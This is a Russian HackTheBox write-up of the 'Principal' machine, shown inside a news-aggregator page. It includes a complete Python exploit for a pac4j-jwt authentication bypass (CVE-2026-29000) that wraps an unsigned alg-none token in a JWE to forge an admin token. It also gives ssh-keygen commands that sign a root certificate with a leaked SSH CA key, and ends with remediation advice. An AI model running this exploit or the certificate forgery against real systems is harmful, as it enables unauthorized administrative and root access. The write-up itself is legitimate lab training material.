惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
Secure Thoughts
Recent Commits to openclaw:main
Recent Commits to openclaw:main
H
Heimdal Security Blog
SecWiki News
SecWiki News
H
Hacker News: Front Page
N
News | PayPal Newsroom
L
LINUX DO - 最新话题
N
News and Events Feed by Topic
TaoSecurity Blog
TaoSecurity Blog
AI
AI
C
Cybersecurity and Infrastructure Security Agency CISA
Scott Helme
Scott Helme
PCI Perspectives
PCI Perspectives
S
Securelist
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Cyberwarzone
Cyberwarzone
A
Arctic Wolf
Forbes - Security
Forbes - Security
T
Tor Project blog
Spread Privacy
Spread Privacy
WordPress大学
WordPress大学
I
Intezer
Martin Fowler
Martin Fowler
Help Net Security
Help Net Security
P
Proofpoint News Feed
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Cisco Talos Blog
Cisco Talos Blog
Latest news
Latest news
博客园 - 司徒正美
W
WeLiveSecurity
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
V
V2EX
P
Palo Alto Networks Blog
Google DeepMind News
Google DeepMind News
IT之家
IT之家
阮一峰的网络日志
阮一峰的网络日志
V
Vulnerabilities – Threatpost
Jina AI
Jina AI
S
Security Affairs
Hacker News - Newest:
Hacker News - Newest: "LLM"
Simon Willison's Weblog
Simon Willison's Weblog
Project Zero
Project Zero
T
Threatpost
P
Privacy International News Feed
人人都是产品经理
人人都是产品经理
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Application and Cybersecurity Blog
Application and Cybersecurity Blog
博客园 - Franky
Hugging Face - Blog
Hugging Face - Blog
Apple Machine Learning Research
Apple Machine Learning Research

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
Одна ошибка, две уязвимости: разбор машины Principal с HTB
Артем · 2026-06-26 · via Все публикации подряд на Хабре

Средний

8 мин

5

Всем привет, меня зовут Артем Маркелов, и я специалист по анализу защищенности в компании SecWare. Мы занимаемся поиском сложных уязвимостей, аудитом корпоративных сетей и в целом тем, что принято называть информационной безопасностью. В свободное от работы время мы с ребятами решаем задачи на HackTheBox – лично для меня это и отдых, и прокачка скиллов, и способ оставаться в тонусе.

Недавно на площадке мне попалась машина Principal. Средний уровень сложности, но концептуально очень интересная. Оба этапа атаки (первоначальный доступ и повышение привилегий) построены на одной и той же фундаментальной ошибке: проверка криптографической оболочки без валидации содержимого внутри нее. Это не просто цепочка уязвимостей, а демонстрация того, как один принцип проявляется в двух совершенно разных технологиях – JWT/JWE и SSH Certificate Authority.

TL;DR

В данной HackTheBox-машине для получения первоначального доступа эксплуатируется CVE-2026-29000 – обход аутентификации в библиотеке pac4j-jwt, в которой токен PlainJWT без цифровой подписи и завернутый в валидный конверт JWE полностью обходит проверку подписи. После подделки токена администратора и извлечения аутентификационных данных SSH из корпоративной панели управления для повышения привилегий используются недостатки в конфигурации центра сертификации SSH, который доверяет любому сертификату. Имя пользователя (principal) не проверяется, что и позволяет подделать сертификат для root.

Цепочка атаки выглядит следующим образом:

  • Обнаружение pac4j-jwt/6.0.3;

  • Получение JWKS – публичного ключа RSA;

  • Эксплуатация CVE-2026-29000 – PlainJWT в JWE;

  • Подделка токена администратора;

  • Доступ к API – /api/users, /api/settings;

  • Извлечение учетных данных svc-deploy;

  • SSH как svc-deploy;

  • Получение флага пользователя;

  • Поиск доступных файлов – /opt/principal/ssh/ca;

  • Генерация ключевой пары Ed25519;

  • Подпись сертификата с principal root;

  • SSH как root по сертификату;

  • Получение флага администратора.

Разведка

Первым шагом является сканирование IP-адреса цели для выявления незащищенных служб. Для этого запускаем nmap:

nmap -sCV 10.129.15.98

Здесь сразу видим несколько ключевых находок:

  • Jetty на 8080 – Java-сервер, скорее всего Spring или аналогичный фреймворк;

  • pac4j-jwt/6.0.3 – конкретная библиотека с указанием конкретной версии. pac4j – это Java-фреймворк аутентификации, JWT – это модуль, который работает с токенами. Версия 6.0.3 вышла не так давно, но можем поискать на нее свежие уязвимости;

  • OpenSSH 9.6 – относительно свежая версия, маловероятны уязвимости самого демона, но возможно, есть ошибки в конфигурации.

Запускаем Burp Suite, открываем браузер, видим форму логина "Principal Internal Platform". Внизу страницы – версия и технологии: v1.2.0 | Powered by pac4j.

Пробуем стандартные креды (admin/admin, admin/password) – получаем ошибку, но в HTTP History в Burp Suite видим, что запрос уходит на /api/auth/login.

Также в HTTP History видим запрос к /static/js/app.js.

Взглянем поближе на JavaScript-файл, который содержит детальные комментарии разработчика.

Из JS-файла узнаем несколько полезных моментов:

Параметр

Значение

Значимость для атаки

JWE-алгоритм

RSA-OAEP-256 + A128GCM

Асимметричное шифрование, нужен публичный ключ

JWS-алгоритм

RS256

Асимметричная подпись, ключ не экспонируется

Конечная точка JWKS

/api/auth/jwks

Отсюда получим публичный ключ для шифрования

Структура

sub, role, iss, iat, exp

Известная структура payload

Запрашиваем JWKS (JSON Web Key Set).

На скриншоте видим:

  • Обнаружение pac4j-jwt/6.0.3;

  • kty: тип ключа RSA;

  • e: AQAB – стандартная экспонента 65537;

  • kid: enc-key-1 – ID ключа, подсказка, что это ключ шифрования;

  • n – сам публичный ключ.

В JWKS только один ключ, и он предназначен для шифрования (по полю kid). Ключа для проверки подписи нет – подпись проверяется сервером своим приватным ключом, публичный клиенту не нужен.

Момент X: находим баг в коде pac4j

Чтобы понять уязвимость, нужно разобраться в архитектуре фреймворка. Pac4j поддерживает разные комбинации JWT:

Тип

Структура

Описание

PlainJWT

header.payload

Без подписи, alg: none

SignedJWT (JWS)

header.payload.signature

Только подпись

EncryptedJWT (JWE)

header.encryptedKey.iv.ciphertext.authTag

Только шифрование

Signed then Encrypted

JWS внутри JWE

Сначала подпись, потом шифрование

В HackTheBox-машине используется последний вариант: подписанный JWT заворачивается в JWE. При такой структуре сервер должен:

  1. Расшифровать внешний JWE своим приватным RSA-ключом.

  2. Получить внутренний JWT.

  3. Проверить подпись внутреннего JWT публичным ключом.

  4. Извлечь claims и авторизовать пользователя.

Смотрим исходники pac4j-jwt 6.0.3 (класс JwtAuthenticator). Ниже приведён фрагмент метода validate, содержащий уязвимость:

public void validate(TokenCredentials credentials, WebContext context) {
    String token = credentials.getToken();
    
    if (isEncrypted(token)) {
        EncryptedJWT encryptedJWT = EncryptedJWT.parse(token);
        
        encryptedJWT.decrypt(decrypter);
        
        JWT innerJWT = encryptedJWT.getPayload().toJWT();
        
        SignedJWT signedJWT = innerJWT.toSignedJWT();
        
        if (signedJWT != null) {
            // Ветка A: есть подпись, проверяем
            if (!signatureVerifier.verify(signedJWT)) {
                throw new BadCredentialsException("Invalid signature");
            }
        } else {
            // Ветка B: подписи нет (signedJWT == null)
            // Ошибка: просто продолжаем, не проверяем подпись
            logger.debug("No signature found, continuing...");
        }
        
        Map<String, Object> claims = innerJWT.getJWTClaimsSet().getClaims();
        createProfile(claims);
    }
}

Метод innerJWT.toSignedJWT() предпринимает попытку преобразовать внутренний JWT в SignedJWT.  В соответствии с условным оператором, при signedJWT == null исполняется ветка B, которая не выбрасывает исключение, а лишь логирует отладочное сообщение. После этого выполнение продолжается, и claims извлекаются из неподписанного токена.

Уязвимость заключается в отсутствии обработки случая, когда toSignedJWT() возвращает null. Никакой проверки. Корректная реализация должна либо выбрасывать исключение в ветке B, либо требовать обязательного наличия подписи (signedJWT != null) для продолжения обработки.

Найденная ошибка – не теория. NIST подтверждает CVE-2026-29000:

Версии pac4j-JWT до 4.5.9, 5.7.9 и 6.3.3 содержат уязвимость обхода аутентификации в JwtAuthenticator при обработке зашифрованных JWT, что позволяет удаленным злоумышленникам подделывать токены аутентификации. Злоумышленники, обладающие публичным ключом RSA сервера, могут создать PlainJWT, обернутый JWE, с произвольными требованиями субъекта и роли, обходя проверку подписи для аутентификации как любой пользователь, включая администраторов.

Конструирование эксплойта

Для эксплуатации выявленной уязвимости нам понадобится:

  1. Публичный RSA-ключ сервера (получен на этапе разведки через эндпоинт /api/auth/jwks).

  2. Известная структура payload (формат claims: sub, role, iss, iat, exp).

Процесс конструирования поддельного токена включает следующие шаги:

# Шаг 1. Получение публичного ключа из JWKS

jwks = requests.get(f"http://{ip}:8080/api/auth/jwks").json()
key = jwks['keys'][0]

n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big')
pub = rsa.RSAPublicNumbers(e, n).public_key(backend=default_backend())
pem = pub.public_bytes(encoding=serialization.Encoding.PEM, 

# Шаг 2. Создание PlainJWT с произвольными claims
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform",
           "iat": int(time.time()), "exp": int(time.time()) + 3600}

b64h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
b64p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
plain_jwt = f"{b64h}.{b64p}."

# Шаг 3. Упаковка PlainJWT в JWE
  token = jwe.encrypt(plain_jwt.encode(), pem, 
                    algorithm=Algorithms.RSA_OAEP_256, 
                    encryption=Algorithms.A128GCM).decode()

Ниже – готовый эксплойт, реализованный на Python с использованием библиотеки python-jose:

#!/usr/bin/env python3
import json, base64, time, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from jose import jwe
from jose.constants import Algorithms

ip = input("IP: ")
jwks = requests.get(f"http://{ip}:8080/api/auth/jwks").json()
key = jwks['keys'][0]

n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big')
pub = rsa.RSAPublicNumbers(e, n).public_key(backend=default_backend())
pem = pub.public_bytes(encoding=serialization.Encoding.PEM, 
                       format=serialization.PublicFormat.SubjectPublicKeyInfo).decode()

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform",
           "iat": int(time.time()), "exp": int(time.time()) + 3600}

b64h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
b64p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
plain_jwt = f"{b64h}.{b64p}."

token = jwe.encrypt(plain_jwt.encode(), pem, 
                    algorithm=Algorithms.RSA_OAEP_256, 
                    encryption=Algorithms.A128GCM).decode()

print("Token:", token)
print()

Полученный JWE передаётся серверу в заголовке Authorization: Bearer <token>. Используя свой приватный RSA-ключ, сервер успешно расшифровывает JWE, извлекает PlainJWT, обнаруживает отсутствие подписи, но (в силу уязвимости) продолжает обработку и извлекает claims sub=admin, role=ROLE_ADMIN.

Запускаем скрипт и вводим IP-адрес цели:

python3 poc.py

Получаем поддельный JWT администратора.

Успех: API открылся, пароль найден

С помощью Burp Suite Repeater отправляем запрос на /api/users и /api/settings, используя полученный токен.

В ответе на запрос к /api/users находим пользователя с пометкой «Service account for automated deployments via SSH certificate auth.». Данный сервисный аккаунт используется для автоматического развертывания с помощью SSH-сертификата.

Получаем доступ к машине по SSH как пользователь svc-deploy. По стандарту в директории пользователя находим флаг:

ssh svc-deploy@10.129.244.220

Повышение привилегий: ошибка в SSH CA

Из описания машины узнаем, что в ней используется SSH CA. Стандартный SSH использует публичные ключи: authorized_keys содержит список доверенных ключей. SSH CA, в свою очередь, работает как альтернатива классическому методу авторизации по публичным ключам, позволяя централизованно управлять доступом без необходимости распространять ключи на все серверы.

В классическом виде архитектура SSH CA выглядит примерно так:

В этой схеме существуют три основных компонента: сам сервер SSH (sshd), который настроен доверять определенному Certification Authority, клиент, который предъявляет сертификат для аутентификации, и механизм проверки полномочий. Когда клиент пытается подключиться, он отправляет сертификат, представляющий собой его публичный ключ, подписанный приватным ключом CA с дополнительными метаданными. Сервер проверяет подпись публичным ключом CA, указанным в директиве TrustedUserCAKeys, и, если подпись валидна, извлекает из сертификата список principals – имен пользователей, от имени которых разрешен вход.

После получения доступа к системе под учетной записью svc-deploy, читаем файлы конфигурации SSH:

svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf

PermitRootLogin установлен в prohibit-password, что означает, что вход под root с использованием пароля заблокирован. Однако, аутентификация на основе сертификата разрешена. Также указан путь до приватного ключа CA. С помощью него можем подписать сертификат от имени любого пользователя, какого захотим, включая root.

Необходимо сгенерировать ключевую пару, подписать сертификат с principal root и, собственно, подключиться.

Генерируем Ed25519 ключ:

svc-deploy@principal:~$ ssh-keygen -t ed25519 -f /tmp/pwn -N ""

Подписываем сертификат, используя найденный приватный ключ CA:

svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca -n root -I x -V +1h /tmp/pwn.pub

Используем полученный сертификат для подключения по SSH как root:

svc-deploy@principal:~$ ssh -i /tmp/pwn root@localhost

Вывод

Оба этапа атаки объединяет одна и та же фундаментальная ошибка: доверие к формату (криптографической оболочке) без проверки содержимого.

В случае с JWT шифрование JWE было валидным, поэтому сервер не проверил подпись внутри. В случае с SSH CA сертификат был подписан доверенным CA, поэтому сервер не проверил имя пользователя в principal.

Рекомендации по устранению

Как полагается, в конце статьи приведем рекомендации по устранению тех уязвимостей, с которыми столкнулись при решении HackTheBox-машины.

Устранение CVE-2026-29000:

  • Обновить pac4j-jwt до версии 6.3.3 или выше;

  • Разрешать только ожидаемые алгоритмы (RS256 и т.д.), запрещать none;

  • Проверять подпись до извлечения claims.

Усиление SSH CA:

  • Настроить AuthorizedPrincipalsFile в файле /etc/ssh/auth_principals/(системный_пользователь);

  • Ограничить principals для привилегированных пользователей (root);

  • Разделить центры сертификации по зонам ответственности;

  • Аудировать выданные сертификаты.